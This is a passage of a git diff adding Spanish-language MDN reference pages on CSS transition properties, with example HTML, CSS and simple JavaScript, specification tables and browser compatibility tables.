+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+</div>
+
+<div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+</div>
+
+<div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+</div>
+
+<div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-delay: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-delay:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration:2s;
+    transition-delay:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-delay', 'transition-delay') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10.0</td>
+   <td>11.6 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.0 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>10.0 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.2 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Using CSS transitions</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/transition-duration/index.html b/files/es/web/css/transition-duration/index.html
new file mode 100644
index 0000000000..03f74d31d8
--- /dev/null
+++ b/files/es/web/css/transition-duration/index.html
@@ -0,0 +1,341 @@
+---
+title: transition-duration
+slug: Web/CSS/transition-duration
+translation_of: Web/CSS/transition-duration
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>transition-duration</code></strong> establece el tiempo que debe tardar una animación de transición en completarse. Por defecto, el valor es de <code>0s</code>, esto quiere decir que no se producirá ninguna animación.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition-duration.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si desea contribuir al proyecto de ejemplos interactivos, por favor clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíenos un pull reques.</p>
+
+<p>Se puede especificar múltiples duraciones; cada duración va a ser aplicada a la propiedad correspondiente según lo especificado en la propiedad {{ cssxref("transition-property") }}, que actuará como una lista maestra. Si se especifican menos duraciones en la lista maestra, el agente de usuario repetirá la lista de duraciones. Si hay más duraciones, la lista simplemente se trunca al tamaño correcto. En ambos casos, la declaración CSS sigue siendo válida</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;time&gt; values */
+transition-duration: 6s;
+transition-duration: 120ms;
+transition-duration: 1s, 15s;
+transition-duration: 10s, 30s, 230ms;
+
+/* Global values */
+transition-duration: inherit;
+transition-duration: initial;
+transition-duration: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>El {{cssxref("&lt;time&gt;")}} indica la cantidad de tiempo que debe tomar la transición del valor anterior de una propiedad, al nuevo valor. Un tiempo de 0s indica que no ocurrirá ninguna transición, es decir, el cambio entre los dos estados será instantáneo. Un valor negativo para el tiempo hace que la declaración sea inválida.</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div>
+<div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+</div>
+
+<div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+</div>
+
+<div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+</div>
+
+<div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-duration-property', 'transition-duration') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div class="hidden">La compatibilidad de la tabla se genera a partir de datos estructurados. Si usted quiere contribuir con estos datos, por favor va a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</div>
+
+<p>{{Compat("css.properties.transition-duration")}}</p>
+
+<h2 id="También_puede_ver">También puede ver</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{cssxref('transition')}}</li>
+ <li>{{cssxref('transition-property')}}</li>
+ <li>{{cssxref('transition-timing-function')}}</li>
+ <li>{{cssxref('transition-delay')}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/es/web/css/transition-property/index.html b/files/es/web/css/transition-property/index.html
new file mode 100644
index 0000000000..1138119dca
--- /dev/null
+++ b/files/es/web/css/transition-property/index.html
@@ -0,0 +1,92 @@
+---
+title: transition-property
+slug: Web/CSS/transition-property
+tags:
+  - CSS
+  - Propiedad CSS
+  - Referencia
+  - Transiciones CSS
+translation_of: Web/CSS/transition-property
+---
+<div>{{CSSRef("CSS Transitions")}}</div>
+
+<p>La propiedad CSS <strong><code>transition-property</code> </strong>se usa para definir los nombres de las propiedades CSS en las que el efecto de la transición debe aplicarse.</p>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+transition-property: none;
+transition-property: all;
+transition-property: test_05;
+transition-property: -specific;
+transition-property: sliding-vertically;
+
+transition-property: test1;
+transition-property: test1, animation4;
+transition-property: all, height, all;
+transition-property: all, -moz-specific, sliding;
+
+/* Global values */
+transition-property: inherit;
+transition-property: initial;
+transition-property: unset;
+</pre>
+
+<div class="note"><strong>Nota:</strong> El <a href="/en-US/docs/Web/CSS/CSS_animated_properties">conjunto de propiedades que puede ser animado</a> está sujeto a cambios. Por lo tanto deberías evitar incluir en la lista cualquiera de las propiedades que actualmente no puede animarse, aunque algún día pudieran, ya que podría causar resultados inesperados.</div>
+
+<p>Si se especifica una propiedad abreviada (por ejemplo , {{cssxref("background")}}) todas sus subpropiedades que soporten animación serán animadas.</p>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Ninguna propiedad tendrá transición.</dd>
+ <dt><code>all</code></dt>
+ <dd>Todas las propiedades que puedan tener una transición animada la tendrán.</dd>
+ <dt><code>IDENT</code></dt>
+ <dd>Una cadena que identifique la propiedad en la que el efecto de la transición debe ser aplicado cuando su valor cambie. Este identificador está compuesto por letras de la <code>a</code> a la <code>z</code> insensibles a mayúsculas, números del <code>0</code> al <code>9</code>, un guión bajo (<code>_</code>) o un guión simple (<code>-</code>). El primer carácter que no sea un guión debe ser una letra (es decir: no debe haber números al principio, aunque esten precedidos de un guión). Además, no están permitidos dos guiones al principio del identificador.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Hay varios ejemplos de transiciones CSS incluídos en el artículo principal <a href="/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Transiciones CSS.</a></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#transition-property', 'transition-property')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.transition-property")}}</p>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/Web/Guide/CSS/Using_CSS_transitions">Usando transiciones CSS</a></li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/es/web/css/transition/index.html b/files/es/web/css/transition/index.html
new file mode 100644
index 0000000000..b9b69000c1
--- /dev/null
+++ b/files/es/web/css/transition/index.html
@@ -0,0 +1,128 @@
+---
+title: transition
+slug: Web/CSS/transition
+translation_of: Web/CSS/transition
+---
+<p>{{ CSSRef("CSS Transitions") }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>La propiedad <code>transition</code> es una <a href="/en-US/docs/CSS/Shorthand_properties" title="/en-US/docs/CSS/Shorthand_properties">propiedad abreviada</a> de {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, y {{ cssxref("transition-delay") }}. Permite definir la transición entre dos estados de un elemento. Hay diferentes estados que pueden ser definidos utilizando <a href="/en-US/docs/CSS/Pseudo-classes" title="/en-US/docs/CSS/Pseudo-classes">pseudo-clases</a> como {{cssxref(":hover")}} o {{cssxref(":active")}}  o aplicado dinámicamente usando JavaScript.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Aplicar a 1 propiedad */
+/* nombre de la propiedad | duración */
+transition: margin-left 4s;
+
+/* nombre de la propiedad | duración | retardo */
+transition: margin-left 4s 1s;
+
+/* nombre de la propiedad | duración | función | retardo */
+transition: margin-left 4s ease-in-out 1s;
+
+/* Aplicar a 2 propiedades */
+transition: margin-left 4s, color 1s;
+
+/* Aplicar a todas las propiedades que cambien */
+transition: all 0.5s ease-out;
+</pre>
+
+<p>Nótese que el orden es importante dentro de los elementos de la propiedad. El primer valor que puede ser analizado como tiempo es asignado a la propiedad <a href="/en-US/docs/CSS/transition-duration" title="/en-US/docs/CSS/transition-duration">transition-duration</a>,  y el segundo valor que puede ser analizado como tiempo es asignado a la propiedad <a href="/en-US/docs/CSS/transition-delay" title="/en-US/docs/CSS/transition-delay">transition-delay</a>.</p>
+
+<p>Véase <a href="/en/CSS/CSS_transitions#When_property_value_lists_are_of_different_lengths" title="en/CSS/CSS transitions#When property value lists are of different lengths">cuando la lista de valores de propiedades son de diferentes tamaños</a> para más detalles de cómo se manejan las cosas cuando la lista de valores de propiedades no son de tamaños iguales. En resumen, las descripciones extras más allá del número de propiedades que son animadas son ignoradas.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax("transition")}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Hay muchos ejemplos de transiciones CSS en el artículo principal <a href="/en/CSS/CSS_transitions" title="en/CSS/CSS transitions">CSS transitions</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition', 'transition') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 {{ property_prefix("-webkit") }}<br>
+    26.0</td>
+   <td>{{ CompatGeckoDesktop("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10.0</td>
+   <td>11.6 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.0 {{ property_prefix("-webkit") }}<br>
+    6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoMobile("2.0") }} {{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>10.0 {{ property_prefix("-o") }}<br>
+    12.10 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>3.2 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transitions" title="en/CSS/CSS transitions">Usando transiciones  CSS</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/tutorials/index.html b/files/es/web/css/tutorials/index.html
new file mode 100644
index 0000000000..c68bceb154
--- /dev/null
+++ b/files/es/web/css/tutorials/index.html
@@ -0,0 +1,61 @@
+---
+title: CSS Tutorials
+slug: Web/CSS/Tutorials
+tags:
+  - CSS
+  - Guía
+  - Tutorial
+translation_of: Web/CSS/Tutorials
+---
+<p>Aprender CSS puede ser una tarea desalentadora. Para ayudarte, hemos escrito numerosos <strong>tutoriales acerca de CSS. </strong>Algunos estan dirigidos a principiantes, y mientras que otros presentan complejas características para ser usadas por usuarios mas avanzados.</p>
+
+<p>Esta página enlista todo el contenido, con una descripción corta. Estan agrupados por grado de complejidad, para que escogas lo mas apropiado para tu nivel.</p>
+
+<div class="note">
+<p><strong>Nota del editor:</strong><strong> Debemos de usar tags de "grado de dificultad" en las páginas de este tutorial para que las listas basadas en grados de dificultad puedan ser automáticamente construidas.</strong></p>
+</div>
+
+<h2 id="Turorial_CSS_Nivel_Principiante">Turorial CSS Nivel Principiante</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS/Getting_Started" title="/en-US/docs/CSS/Getting_Started">Empezando</a></dt>
+ <dd>Esta guía va dirigida para <u>completos principiantes</u>: Nunca has escrito una línea de CSS? — esta guía es para ti. Se explican los conceptos fundamentales del lenguaje.</dd>
+ <dt><a href="/en-US/docs/CSS/Using_CSS_multiple_backgrounds" title="/en-US/docs/CSS/Using_CSS_multiple_backgrounds">Using multiple backgrounds</a></dt>
+ <dd>Backgrounds are fundamental for nice styling: CSS allows you to set several of them on each box. This tutorial explains how they interact and how to achieve nice effects.</dd>
+ <dt><a href="/en-US/docs/CSS/Scaling_background_images" title="/en-US/docs/CSS/Scaling_background_images">Scaling background images</a></dt>
+ <dd>CSS allows you to resize images used as an element's background. This tutorial describes how to achieve this in a simple way.</dd>
+ <dt><a href="/en-US/docs/CSS/Media_queries" title="/en-US/docs/CSS/Media_queries">Media queries</a></dt>
+ <dd>The size of the screens, or the kind of devices like touchscreens or printed sheets vary greatly nowadays. Media queries are the fundamental building blocks in achieving Web sites that render everywhere in their best quality.</dd>
+ <dt><a href="/en-US/docs/CSS/Understanding_z-index" title="/en-US/docs/CSS/Understanding_z-index">Understanding z-index</a></dt>
+ <dd>Controlling superposition of boxes is a basic feature that is very quickly needed by Web developers. Though not that difficult, it requires a basic knowledge of CSS.</dd>
+</dl>
+
+<h2 id="Intermediate-level_CSS_tutorials">Intermediate-level CSS tutorials</h2>
+
+<p>After the release of CSS 2 (Level 1), new features have been added to CSS. Some of them are <em>fancy</em> and are pretty self contained. They are easy to use for anybody with a fair knowledge of basic concepts.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/CSS/Counters" title="/en-US/docs/CSS/Counters">CSS Counters</a></dt>
